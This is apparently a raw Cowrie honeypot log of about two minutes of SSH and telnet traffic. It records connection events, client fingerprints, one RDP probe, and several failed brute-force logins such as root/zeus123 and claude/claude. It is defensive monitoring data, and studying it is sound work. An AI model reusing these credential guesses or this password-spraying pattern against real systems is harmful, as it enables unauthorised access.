{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:04.380105Z","src_ip":"103.82.20.28","session":"04229a93389a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:04.826121Z","src_ip":"103.173.227.57","session":"adced0899961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.6422917842865,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:05.302607Z","src_ip":"192.119.13.58","session":"60860873a863","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35684,"dst_ip":"159.203.135.109","dst_port":22,"session":"350b24632ac3","protocol":"ssh","message":"New connection: 193.37.70.224:35684 (159.203.135.109:22) [session: 350b24632ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:10.316261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:10.321769Z","src_ip":"193.37.70.224","session":"350b24632ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:10.415365Z","src_ip":"193.37.70.224","session":"350b24632ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"djkjlz","message":"login attempt [root/djkjlz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:10.707741Z","src_ip":"193.37.70.224","session":"350b24632ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:11.804401Z","src_ip":"193.37.70.224","session":"350b24632ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":54366,"dst_ip":"159.203.135.109","dst_port":22,"session":"6265e7aa4b54","protocol":"ssh","message":"New connection: 186.4.240.226:54366 (159.203.135.109:22) [session: 6265e7aa4b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:19.181903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:19.187227Z","src_ip":"186.4.240.226","session":"6265e7aa4b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:19.272655Z","src_ip":"186.4.240.226","session":"6265e7aa4b54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nova","message":"login attempt [root/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:19.646336Z","src_ip":"186.4.240.226","session":"6265e7aa4b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:20.735169Z","src_ip":"186.4.240.226","session":"6265e7aa4b54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47098,"dst_ip":"10.17.0.5","dst_port":23,"session":"13a649c61a16","protocol":"telnet","message":"New connection: 192.119.13.58:47098 (10.17.0.5:23) [session: 13a649c61a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:21.598463Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51496,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1979b98cbb","protocol":"telnet","message":"New connection: 192.119.13.58:51496 (10.17.0.5:23) [session: 9c1979b98cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:22.943472Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":32874,"dst_ip":"159.203.135.109","dst_port":22,"session":"465bc0d86669","protocol":"ssh","message":"New connection: 170.106.188.200:32874 (159.203.135.109:22) [session: 465bc0d86669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:27.251181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:27.256087Z","src_ip":"170.106.188.200","session":"465bc0d86669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:27.327699Z","src_ip":"170.106.188.200","session":"465bc0d86669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zeus123","message":"login attempt [root/zeus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:27.631633Z","src_ip":"170.106.188.200","session":"465bc0d86669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:28.703698Z","src_ip":"170.106.188.200","session":"465bc0d86669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":54142,"dst_ip":"159.203.135.109","dst_port":23,"session":"71d024f7cbd9","protocol":"telnet","message":"New connection: 186.195.16.41:54142 (159.203.135.109:23) [session: 71d024f7cbd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:31.277342Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35732,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f0107b164c2","protocol":"telnet","message":"New connection: 192.119.13.58:35732 (10.17.0.5:23) [session: 9f0107b164c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:34.086397Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36442,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a4be8edb60c","protocol":"telnet","message":"New connection: 192.119.13.58:36442 (10.17.0.5:23) [session: 2a4be8edb60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:34.328353Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44056,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c0e13a2c28","protocol":"telnet","message":"New connection: 192.119.13.58:44056 (10.17.0.5:23) [session: 01c0e13a2c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:36.417733Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38462,"dst_ip":"159.203.135.109","dst_port":22,"session":"a43e62cfb8d7","protocol":"ssh","message":"New connection: 103.153.68.219:38462 (159.203.135.109:22) [session: a43e62cfb8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:43.285175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:43.290060Z","src_ip":"103.153.68.219","session":"a43e62cfb8d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:43.547138Z","src_ip":"103.153.68.219","session":"a43e62cfb8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yuantuo2012","message":"login attempt [root/yuantuo2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:44.317765Z","src_ip":"103.153.68.219","session":"a43e62cfb8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:45.578060Z","src_ip":"103.153.68.219","session":"a43e62cfb8d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51762,"dst_ip":"10.17.0.5","dst_port":23,"session":"f63eb4d7b2ae","protocol":"telnet","message":"New connection: 192.119.13.58:51762 (10.17.0.5:23) [session: f63eb4d7b2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:02:58.239906Z"}
{"eventid":"cowrie.session.closed","duration":39.066078901290894,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:00.664418Z","src_ip":"192.119.13.58","session":"13a649c61a16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.809701919555664,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:00.753018Z","src_ip":"192.119.13.58","session":"9c1979b98cbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42246,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a414f7f45f9","protocol":"telnet","message":"New connection: 192.119.13.58:42246 (10.17.0.5:23) [session: 9a414f7f45f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:01.819832Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37322,"dst_ip":"10.17.0.5","dst_port":23,"session":"74b845c24e55","protocol":"telnet","message":"New connection: 192.119.13.58:37322 (10.17.0.5:23) [session: 74b845c24e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:07.659499Z"}
{"eventid":"cowrie.session.closed","duration":34.31391477584839,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:08.642365Z","src_ip":"192.119.13.58","session":"2a4be8edb60c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.04356813430786,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:13.129716Z","src_ip":"192.119.13.58","session":"9f0107b164c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38256,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aa92ac23894","protocol":"telnet","message":"New connection: 192.119.13.58:38256 (10.17.0.5:23) [session: 6aa92ac23894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:14.388213Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57179,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d08a39d750e","protocol":"ssh","message":"New connection: 167.172.81.52:57179 (159.203.135.109:22) [session: 8d08a39d750e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:14.655274Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:14.665968Z","src_ip":"167.172.81.52","session":"8d08a39d750e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:14.670016Z","src_ip":"167.172.81.52","session":"8d08a39d750e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.87031269073486,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:15.147514Z","src_ip":"186.195.16.41","session":"71d024f7cbd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.60637450218201,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:16.023999Z","src_ip":"192.119.13.58","session":"01c0e13a2c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.236","src_port":21462,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea0c5eb23ac8","protocol":"ssh","message":"New connection: 92.118.39.236:21462 (10.17.0.5:22) [session: ea0c5eb23ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:21.299805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:21.305121Z","src_ip":"92.118.39.236","session":"ea0c5eb23ac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:21.410972Z","src_ip":"92.118.39.236","session":"ea0c5eb23ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:21.868322Z","src_ip":"92.118.39.236","session":"ea0c5eb23ac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53390,"dst_ip":"10.17.0.5","dst_port":23,"session":"8282665f80f4","protocol":"telnet","message":"New connection: 192.119.13.58:53390 (10.17.0.5:23) [session: 8282665f80f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:26.559716Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.14.197","src_port":46889,"dst_ip":"159.203.135.109","dst_port":22,"session":"61ef387f1105","protocol":"ssh","message":"New connection: 45.33.14.197:46889 (159.203.135.109:22) [session: 61ef387f1105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:31.024139Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":57324,"dst_ip":"159.203.135.109","dst_port":22,"session":"041c3fb38456","protocol":"ssh","message":"New connection: 103.101.216.219:57324 (159.203.135.109:22) [session: 041c3fb38456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:31.642797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:31.648359Z","src_ip":"103.101.216.219","session":"041c3fb38456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:31.886560Z","src_ip":"103.101.216.219","session":"041c3fb38456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:03:32.874975Z","src_ip":"103.101.216.219","session":"041c3fb38456","protocol":"ssh"}
